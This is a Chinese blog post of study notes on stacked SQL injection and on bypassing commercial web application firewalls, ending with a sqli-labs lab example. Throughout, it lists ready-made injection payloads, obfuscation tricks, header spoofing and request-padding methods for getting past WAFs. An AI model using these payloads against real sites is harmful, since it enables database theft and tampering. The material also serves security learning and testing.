首页 > 数据库 >SQL堆叠注入及waf绕过注入;SQL注入之SQLMAP绕过WAF

SQL堆叠注入及waf绕过注入;SQL注入之SQLMAP绕过WAF

时间:2023-01-02 17:23:48浏览次数:37  
标签:waf user SQL 白名单 绕过 id select 注入

堆叠查询注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实 的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。 这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。

市面上常见的waf产品列表-wafwoof

安全狗、宝塔、阿里云盾

下面的是一些总结

大小写/关键字替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于 ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

各种编码

大小写,URL,hex,%0A 等

注释使用

// -- --+ # /**/ + :%00 /!**/等

再次循环

union==uunionnion

等价替换

user()=@@user() and=& or=| ascii=hex 等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

hex,unlcode,base64 等

更改请求提交方式

GET POST COOKIE 等

中间件 HPP 参数污染

数据库特性

1、Mysql 技巧

(1)mysql 注释符有三种:#、/*...*/、-- ... (注意--后面有一个空格)

(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]

(3)特殊符号:%a 换行符

可结合注释符使用%23%0a,%2d%2d%0a。

(4)内联注释:

/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540

(5)mysql 黑魔法

select{x username}from {x11 test.admin};

2、SQL Server 技巧

(1)用来注释掉注射后查询的其余部分:

l  /* C 语言风格注释

l  --SQL注释

l  ; 00% 空字节

(2)空白符:[0x01-0x20]

(3)特殊符号:%3a 冒号

id=1 union:select 1,2 from:admin

(4)函数变形:如 db_name[空白字符]()

3、Oracle 技巧

(1)注释符:--、/**/

(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合 FUZZ(利用脚本)

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

A、逻辑问题

(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP没有防护,直接访问 HTTP 站点绕过防护。

(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

B、性能问题

猜想 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度就会引发 bug,从而实现绕过。

例子 1:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。

例子 2:

?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from

INFORMATION_SCHEMA.schemata

备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。

C、白名单

l  方式一:IP 白名单

从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。

测试方法:修改 http 的 header 来 bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

l  方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测

效率,不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

l  方式三:url 白名单

为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势。

l  方式四:爬虫白名单

部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:根据userAgent、通过行为来判断。

Useragent可以很容易欺痈,我们可以伪装成爬虫尝试绕i过。User Agent switcher (firefox 附加组件),下载地址(需开代理):
https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/

演示案例

Sqlilabs-Less38-堆叠注入(多语句)

http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

注入需要管理员账号密码,密码是加密,无法解密,使用堆叠注入进行插入数据,用户密码自定义的,可以正常解密登录。

标签:waf,user,SQL,白名单,绕过,id,select,注入
From: https://www.cnblogs.com/cx330ki/p/17020208.html

相关文章

  • SQL注入之简要SQL注入
    SQL注入安全测试中的危害:危害数据库里的数据(因为可以直接写入);直接危害到网站的权限。SQL注入产生原理详细分析:l 通过sqlilabs代码分析;l SQL语句在定义时没有变量,就......
  • SQL注入之MYSQL注入
    前言:MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行geshell操作。其中也会遇到很多阻碍,相关的防御反感也要明确。高权限注入及低权限......
  • SQL注入类型及提交注入
    前言:在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中也必须满足同等的操作才能......
  • MySql学习笔记--基础篇02
    约束外键--父表和子表,如果要删除父表的记录时,会判断子表是否存在关联关系,如果存在不予删除  多表关系一对多,在此表中建立外键关联主表的主键多对多,建立第三张中......
  • (转)主从复制报错Fatal error:The slave I/O thread stops because master and slave ha
    最后发现/var/lib/mysql/auto.cnf还有一个auto.cnf文件,我们直接执行rm-rf/var/lib/mysql/auto.cnf命令删除主机和从机中的这个auto.cnf文件就可以,当然也可以选择修改里面......
  • 注入——APC注入
    APC注入即异步过程调用,APC是一个链状的数据结构,可以让一个线程在其原本的执行步骤前执行其他代码,每个线程都维护一个APC链。当线程从等待状态苏醒后,自动检测自己的APC队列......
  • SQL Server创建dblink跨库查询
    dblink是跨库查询的主要手段,在Oracle创建DbLink中已经演示了Oracle中如何创建及使用DbLink,这篇博客看看SQLServer中如何使用。一、通过图形化界面直接创建选择当前注册......
  • MySQL-MVCC
    首先MVCC不是MySQL才有的概念,它是一种思想,一种方法论。MVCC全称:Multi-VersionConcurrencyControl多版本并发控制最早于1978年,论文『NamingandSynchronizationina......
  • Mysql常见注意事项小记
    Mysql常见注意事项小记1.排序问题正常如果按照某字段升序排列,空值会排到有值的前面;如果逆序排序空值排在最后。有时候我们需要该字段为空的行数据要排到最......
  • MySQL——基础架构
    1、MySQL逻辑架构图  2、整体解析大体上MySQL可以分为Server层和存储引擎层两部分。Server层包括连接器、查询缓存、分析器、优化器、执行器等,涵盖MySQL的大......